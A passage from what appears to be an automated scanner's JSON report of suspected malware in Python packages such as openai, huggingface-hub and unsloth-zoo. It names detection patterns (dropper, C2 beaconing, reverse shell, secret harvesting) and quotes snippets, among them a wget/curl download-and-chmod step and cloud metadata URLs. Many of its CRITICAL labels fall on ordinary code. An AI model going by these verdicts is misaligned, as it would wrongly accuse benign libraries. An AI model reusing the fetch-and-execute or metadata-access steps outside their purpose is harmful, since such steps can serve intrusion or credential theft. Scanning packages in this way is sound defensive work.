"530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" }, { "package": "werkzeug", "file": "werkzeug/routing/rules.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_save_export_regressions.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:ab5c587f9ec31a0cc10ee55698ab133a417148d9d3f371bbc81b1e13fa119c13", "evidence_hash": "93a11159147aad94f353ec4d2e0b8486b256abef88cd96d741813222cd32b138" }, { "package": "unsloth-zoo", "file": "tests/test_vision_collator_audio.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:2efe23ffbe2b91b8403aec9b700736919b59e5ca770f8e1f5501651b44b7d398", "evidence_hash": "d416b79dd17b24214f3f7653ac01354507d7bf0fc464dee30a4a4b8998f063ba" }, { "package": "unsloth-zoo", "file": "tests/test_gemma4_forced_float32_ple_dtype.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L277: compile(rewritten + _GEMMA4_PLE_CAST_HELPER, \"\", \"exec\") | L440: compile(on, \"\", \"exec\") | L468: compile(generated, \"\", \"exec\")\nExec: L19: exec(_GEMMA4_PLE_CAST_HELPER, namespace)", "evidence_hash": "a85e24d8e7c431563cbd83b70f91a3b971abde0f37083d68e70984147960cc70" }, { "package": "unsloth-zoo", "file": "tests/test_vision_collator_audio.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:022f81dd21acfc6a35a058de96132834c218404a9e37b3d09a7768a8c8f6c728", "evidence_hash": "2d1e75446af120d9133a42aa8af426a839d3434d9dc109cc1d6c1b22ca1ddb75" }, { "package": "fastapi", "file": "fastapi/routing.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L594: while True: sha256:ad3361ce18383161849f910370bdeccebfc6191e3ecdf28e2711ff66e37cd977", "evidence_hash": "d30c02e72381458de1b79bd23652b5ae9928a93e6626592cf33002fd0339f224" }, { "package": "huggingface-hub", "file": "huggingface_hub/_sandbox.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L84: d=/tmp/.sbx-server\nL85: if command -v wget >/dev/null 2>&1; then wget -q -O \"$d\" \"$SBX_SERVER_URL\"\nL86: elif command -v curl >/dev/null 2>&1; then curl -fsSL -o \"$d\" \"$SBX_SERVER_URL\"\nL87: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL88: chmod +x \"$d\"", "evidence_hash": "4e8ce7444ac0d4a788dcaf389ae8e26dd0221a226938d764810181a593d53d36" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L4811: while True: sha256:278dc3fe19e4aec12ef4dc9cf040320e9c1665e79762cf82d58941ac82af251a", "evidence_hash": "700650886c3879597857b61c13e7bfecec9bf54b28d869d4694608eab01d1e58" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L461: while True: sha256:b08763160ae6f4d638b32f3cc333c4ac4fc0344988c9506efed65e0ef03ec2d5", "evidence_hash": "65b26230747f4b76780dd308ad78a84fc3d2a4e5323894895fc4bdb703e9a5d5" }, { "package": "ipython", "file": "IPython/core/interactiveshell.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L2998: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", "evidence_hash": "99dbd9b2cf5ede37fe3123e0789439bd3f82648a5443482e451ec04105be3c12" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L276: while True: sha256:79ff4e83ede832fc90b106033123e68a957560f55288a5c654788ff4af9b48d1", "evidence_hash": "a279dacdb18186c44bdb93c99347dc42c15adbabd6a609a6485bb745965f5007" }, { "package": "traitlets", "file": "traitlets/config/loader.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L646: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", "evidence_hash": "98aa843deb66e5ee86c917c79f054bc0cefcbaa4e81702d75a873629580b7b28" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_save_export_regressions.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L246: temporary_location=\"/tmp/ignored\", sha256:8490a5315ad79cd319e5c5557b844fb7fd1ec8cfcc9f66bf195fca14fc8c2534", "evidence_hash": "70468ab21abc3c38adc1a920e04e5b06a8fa2161aebef59b938f2778715a2d6a" }, { "package": "unsloth-zoo", "file": "tests/test_compiler_decorated_forward.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L146: compile(generated, \"\", \"exec\") | L206: compile(generated, \"\", \"exec\")\nExec: L181: exec(generated, namespace)", "evidence_hash": "c490dc739ffb2358a0693c338e90c324d17fc0906c99ac8894c97411e984eca8" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_trainer_internals.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2355: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L2333: def eval(self): | L3164: deepstack_visual_embeds = mx.eval([]) | L3294: return grid_thw, mask, mx.eval([]) | L5704: def eval(self):", "evidence_hash": "d42950e5c98a4578d6dc588ab2cfcdde97934e1d55f8db9bb5babaa95c1a693a" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4096: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L155: mx.eval(model.parameters()) | L187: mx.eval(model.parameters()) | L975: mx.eval(model.parameters()) | L976: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1042: mx.eval(model.parameters()) | L1045: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3744: model.eval() | L4483: mx.eval(model.parameters()) | L4598: mx.eval(module.weight) | L7241: lambda: mx.eval(model.parameters()), | L7301: lambda: mx.eval(model.parameters()), | L7463: mx.eval(model.parameters())", "evidence_hash": "99be0b8b885c428ef382cdf98fe5cc7691a3fe65fdf2ff2d1ebfb3a152711dc0" }, { "package": "torchao", "file": "torchao/prototype/gptq/gptq_example.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L257: help=\"Prefix for the output directory (e.g. /home/user/tmp/20260420)\", sha256:cc135b7062e314555a72098d50c6bbf221fe2993cc195b91de2256cb4ba59f9d", "evidence_hash": "1c6a8785e5b4d45928f0d8e0c8c4830827cfc772454dfb8074793e8faa441552" }, { "package": "unsloth-zoo", "file": "tests/test_hf_xet_fallback.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L2083: monkeypatch.setattr(xf, \"_run_download_attempt\", lambda *a, **k: (\"ok\", \"/tmp/warm\")) sha256:26b4d56964a6943851ad6d051f2833aa9bfee07e9d16e653cd1ee671412c326b", "evidence_hash": "ab5ed5653a9f71d30233ab891edefb1a5e39b3d083a9019a23f3b82a32e02bad" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/hf_xet_health.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L317: token = os.environ.get(\"HF_TOKEN\")\nNetwork: L313: import urllib.request | L316: request = urllib.request.Request(url, headers = {\"User-Agent\": \"unsloth-xet-probe\"}) | L329: with urllib.request.urlopen(request, timeout = PROBE_TIMEOUT_SECONDS) as response: | L342: head = urllib.request.Request(cas, method = \"HEAD\", headers = {\"User-Agent\": \"unsloth-xet-probe\"}) | L344: urllib.request.urlopen(head, timeout = remaining)", "evidence_hash": "674a558cd1bdfa1470dc2a9a2cd44be98ecc27c0beb37497757c656674e71654", "file_sha256": "e0b53dbc7749ab7528211ccc87e56a56093b488c5e6efc1445c84c06ff5243db" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_vlm_label_masks.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L3267: self._lock = __import__(\"threading\").Lock()\nExec: L1479: mx.eval(batch[\"input_ids\"], batch[\"labels\"])", "evidence_hash": "02e040f3f25ec6bfebb609f2ba68ea037cb0386b6ab74d6fcaba1a78ad5bb3b1" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1206: _mod = __import__(model_location, fromlist=items) | L4946: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4947: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4948: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4949: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4947: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4948: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4949: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4946: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4947: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4948: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L802: if eval(_dtype) is not None: | L803: dtype = eval(_dtype) | L1145: _modeling_file = eval(model_location) | L1585: f = eval(f\"{model_location}.{module}\") | L1914: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1915: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3050: exec(f\"import {parent}\", locals(), globals()) | L3181: dir(eval(parent)), | L3185: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L3259: module = eval(f\"modeling_file.{module}\") | L3286: inner_class = eval(f\"modeling_file.{inner_class}\") | L3416: exec(f\"from timm.layers.norm_act import {norm}\") | L3424: forward = eval(norm).forward | L3430: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3447: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3455: forward = eval(block).forward | L3461: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3695: exec(\nL3696: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL3697: globals(),\nL3698: locals(),\nL3699: ) | L3701: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L3705: exec(\nL3706: f\"combined_module.torch.nn.{module}.forward = forward\",\nL3707: globals(),\nL3708: locals(),\nL3709: ) | L3711: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L3788: source = eval(f\"{model_location}.torch\") | L3795: function = eval(f\"source.nn.{module}\") | L3950: exec(f\"import {model_location}\", globals()) | L3953: modeling_file = eval(model_location) | L3966: exec(\nL3967: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3968: ) | L3970: exec(\nL3971: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3972: globals(),\nL3973: locals(),\nL3974: ) | L4206: source = eval(f\"modeling_file.{module}\") | L4220: source = eval(f\"modeling_file.{module}\") | L4321: source = eval(f\"modeling_file.{module}\") | L4359: source = eval(f\"{model_location}.{module}\") | L4439: source = eval(f\"{model_location}.{module}\") | L4487: source = eval(f\"{model_location}.{module}\") | L4709: source = eval(f\"{model_location}.{module}\") | L4720: exec(\nL4721: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4722: globals(),\nL4723: ) | L4786: source = eval(f\"{model_location}.{module}\") | L4827: module_cls = eval(f\"{model_location}.{module}\") | L4864: module_cls = eval(f\"{model_location}.{module}\") | L4931: exec(\nL4932: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4933: globals(),\nL4934: ) | L4996: exec(inner_training_loop, globals()) | L5004: function = eval(f\"{model_location}.{module}\") | L5082: function = eval(f\"{model_location}.{module}\") | L5220: exec(\nL5221: f\"{model_location}.{module} = combined_module.{module}\",\nL5222: globals(),\nL5223: locals(),\nL5224: ) | L5234: check_dicts = dir(eval(f\"{model_location}\")) | L5236: item = eval(f\"{model_location}.{check}\") | L5246: exec(\nL5247: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL5248: globals(),\nL5249: locals(),\nL5250: )", "evidence_hash": "d8dabff7099fd84e1276c932c7bb70ba273333e5708eb149fec6a6130856085d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1223: _mod = __import__(model_location, fromlist=items) | L5294: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5295: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5296: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5297: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5295: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5296: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5297: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5294: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5295: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5296: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L809: if eval(_dtype) is not None: | L810: dtype = eval(_dtype) | L1152: _modeling_file = eval(model_location) | L1641: f = eval(f\"{model_location}.{module}\") | L1971: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1972: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3397: exec(f\"import {parent}\", locals(), globals()) | L3528: dir(eval(parent)), | L3532: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L3606: module = eval(f\"modeling_file.{module}\") | L3633: inner_class = eval(f\"modeling_file.{inner_class}\") | L3763: exec(f\"from timm.layers.norm_act import {norm}\") | L3771: forward = eval(norm).forward | L3777: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3794: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3802: forward = eval(block).forward | L3808: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4042: exec(\nL4043: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4044: globals(),\nL4045: locals(),\nL4046: ) | L4048: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4052: exec(\nL4053: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4054: globals(),\nL4055: locals(),\nL4056: ) | L4058: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L4135: source = eval(f\"{model_location}.torch\") | L4142: function = eval(f\"source.nn.{module}\") | L4301: exec(\"import transformers\", globals()) | L4314: exec(\nL4315: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL4316: ) | L4318: exec(\nL4319: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL4320: globals(),\nL4321: locals(),\nL4322: ) | L4554: source = eval(f\"modeling_file.{module}\") | L4568: source = eval(f\"modeling_file.{module}\") | L4669: source = eval(f\"modeling_file.{module}\") | L4707: source = eval(f\"{model_location}.{module}\") | L4787: source = eval(f\"{model_location}.{module}\") | L4835: source = eval(f\"{model_location}.{module}\") | L5057: source = eval(f\"{model_location}.{module}\") | L5068: exec(\nL5069: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL5070: globals(),\nL5071: ) | L5134: source = eval(f\"{model_location}.{module}\") | L5175: module_cls = eval(f\"{model_location}.{module}\") | L5212: module_cls = eval(f\"{model_location}.{module}\") | L5279: exec(\nL5280: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL5281: globals(),\nL5282: ) | L5344: exec(inner_training_loop, globals()) | L5352: function = eval(f\"{model_location}.{module}\") | L5430: function = eval(f\"{model_location}.{module}\") | L5568: exec(\nL5569: f\"{model_location}.{module} = combined_module.{module}\",\nL5570: globals(),\nL5571: locals(),\nL5572: ) | L5582: check_dicts = dir(eval(f\"{model_location}\")) | L5584: item = eval(f\"{model_location}.{check}\") | L5594: exec(\nL5595: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL5596: globals(),\nL5597: locals(),\nL5598: )", "evidence_hash": "610993c0b6f612bbbf2fa0b593591375e7b20cb5c9b516ea60b6c44a8b9430e9" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4290: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L155: mx.eval(model.parameters()) | L187: mx.eval(model.parameters()) | L975: mx.eval(model.parameters()) | L976: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1042: mx.eval(model.parameters()) | L1045: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2382: mx.eval(altup.correct(predictions, activated)) | L3938: model.eval() | L4677: mx.eval(model.parameters()) | L4792: mx.eval(module.weight) | L7437: lambda: mx.eval(model.parameters()), | L7497: lambda: mx.eval(model.parameters()), | L7650: mx.eval(model.parameters())", "evidence_hash": "511d74ad8e4d5a219b0485b23f295fb1b27ba49b734cbb664225f20a996f426d" }, { "package": "caio", "file": "tests/test_raw_low_level.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", "evidence": "L747: os.dup2(good_fd, closed_fd)", "evidence_hash": "7eb34f0b046a377f38f3d1a66daadce492c43cda85b7967f66c7ad62f0ca4169" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L281: while True: sha256:fbefef3c441ac4aad2220118629caaf5947f6e5ce919b5d22696559b78cefe34", "evidence_hash": "6db10c4435d07c75201311256c6e35d807a271250d9d1520ac00b3622e8daebb" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L509: urllib_response = conn.urlopen(\nL510: method=request.method,\nL511: url=request_target,\nL512: body=request.body,\nL513: headers=request.headers,\nL514: retries=Retry(False),\nL515: assert_same_host=False,\nL516: preload_content=False,\nL517: decode_content=False,\nL518: chunked=self._chunked(request.headers),\nL519: **extra_kwargs,\nL520: )", "evidence_hash": "9240e223b1ffd4e599ec84c457bde659bd1f7e4d075e77b220f592e02b462a22" }, { "package": "botocore", "file": "botocore/httpsession.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L509: urllib_response = conn.urlopen( sha256:0eda98c8303e0ece19e6f06f47c67731fd3998866a768f6201f1db7046382940", "evidence_hash": "779cbbbe6d8f2d02b77264bb8a92dd25ec024c900c295656bd7f38620866f600" }, { "package": "pandas", "file": "pandas/tests/io/test_pickle.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", "evidence": "Archive: L270: with tarfile.open(dest_path, mode=\"w\") as tar:\nNetwork: L502: monkeypatch.setattr(\"urllib.request.urlopen\", mock_urlopen_read)", "evidence_hash": "1493feaf122ac84c21097206624c3dad13814a6c24f2c3f1b03581879b2d5f2d" }, { "package": "pandas", "file": "pandas/tests/util/test_find_stack_level.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L50: exec(compile(_SRC, module_path, \"exec\"), module.__dict__)\nExec: L50: exec(compile(_SRC, module_path, \"exec\"), module.__dict__)", "evidence_hash": "d964080b66d4a99e39c1c0b8af1d6722bc535f35f4a2f385937d942e90242403" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_map_planner.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L530: module = __import__(mod_path, fromlist=[\"compute_module_sizes\"])\nExec: L1366: model.eval()", "evidence_hash": "d11a00fda9ab43a1390c5a10cf09f760efcbacd26c89fc18b359f063ee167135" }, { "package": "openai", "file": "openai/_client.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L235: api_key = os.environ.get(\"OPENAI_API_KEY\") | L245: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L269: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L908: api_key = os.environ.get(\"OPENAI_API_KEY\") | L918: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L942: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L170: http_client: httpx2.Client | None = None, | L661: http_client: httpx2.Client | None = None, | L843: http_client: httpx2.AsyncClient | None = None, | L1347: http_client: httpx2.AsyncClient | None = None,", "evidence_hash": "ee8e7ed79d2bfe99f85f53b1bff3d0f59cfc0de3393ab31a2955ef4365005e3c", "file_sha256": "6303a1c4b4b01491dd6e9ef248ba74d8d7a5af5185a1d45721ab9c904dd77b42" }, { "package": "openai", "file": "openai/auth/_workload.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L130: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L183: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L111: http_client: httpx2.Client | None = None, | L142: with httpx2.Client() as client: | L167: http_client: httpx2.Client | None = None, | L189: with httpx2.Client() as client:", "evidence_hash": "a4b0fb17867ab99605026f7d5d753ba2d3cd0a79f5fab6d77521ec251c256a4c", "file_sha256": "f61ff8db00ec65d293e7cea656289ac6b0c47faa0997fa70c1731ecf57949512" }, { "package": "openai", "file": "openai/lib/azure.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L219: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L222: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L548: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L551: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L39: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx2.Client, httpx2.AsyncClient]) | L102: class AzureOpenAI(BaseAzureClient[httpx2.Client, Stream[Any]], OpenAI): | L121: http_client: httpx2.Client | None = None, | L143: http_client: httpx2.Client | None = None, | L165: http_client: httpx2.Client | None = None, | L191: http_client: httpx2.Client | None = None, | L302: http_client: httpx2.Client | None = None, | L428: class AsyncAzureOpenAI(BaseAzureClient[httpx2.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L448: http_client: httpx2.AsyncClient | None = None, | L471: http_client: httpx2.AsyncClient | None = None, | L494: http_client: httpx2.AsyncClient | None = None, | L520: http_client: httpx2.AsyncClient | None = None, | L631: http_client: httpx2.AsyncClient | None = None,", "evidence_hash": "a2048fafc6303825095270dc766eb7630cdf9b0fb2e6eb0272695dbe9cd185c1", "file_sha256": "7f6f58dd6e0068765e58af2c59acfa40504a03187953e3459ea008c263f952d7" }, { "package": "openai", "file": "openai/lib/bedrock.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L117: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L162: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L440: http_client: httpx2.Client | None = None, | L554: http_client: httpx2.Client | None = None, | L672: http_client: httpx2.AsyncClient | None = None, | L788: http_client: httpx2.AsyncClient | None = None,", "evidence_hash": "ed7177e905325f49fc00b6329c7b4c18436af60fa52a559251a3a54618715873", "file_sha256": "75816d2632b709d789ca5ebef43e15c3916691bb7ce9e8ed57181a2faccc667e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L150: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L108: from urllib.request import url2pathname | L287: with requests.Session() as session:", "evidence_hash": "13af1f1a0b133cbd4bc1e38e29a95a7e507078f1b43aca218b54654085cd2b99", "file_sha256": "7c6266737b14cb08e136c0fcc5d63dc5047f416daa1fad4f16298a6269b73ce4" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L143: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L108: from urllib.request import url2pathname | L287: with requests.Session() as session:", "evidence_hash": "285f7daff8b222ab03cc239132a58f2273213b83a38095d675041e086d547f31", "file_sha256": "7c6266737b14cb08e136c0fcc5d63dc5047f416daa1fad4f16298a6269b73ce4" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1240: _mod = __import__(model_location, fromlist=items) | L5329: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5330: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5331: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5332: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5330: f\"O^O/ 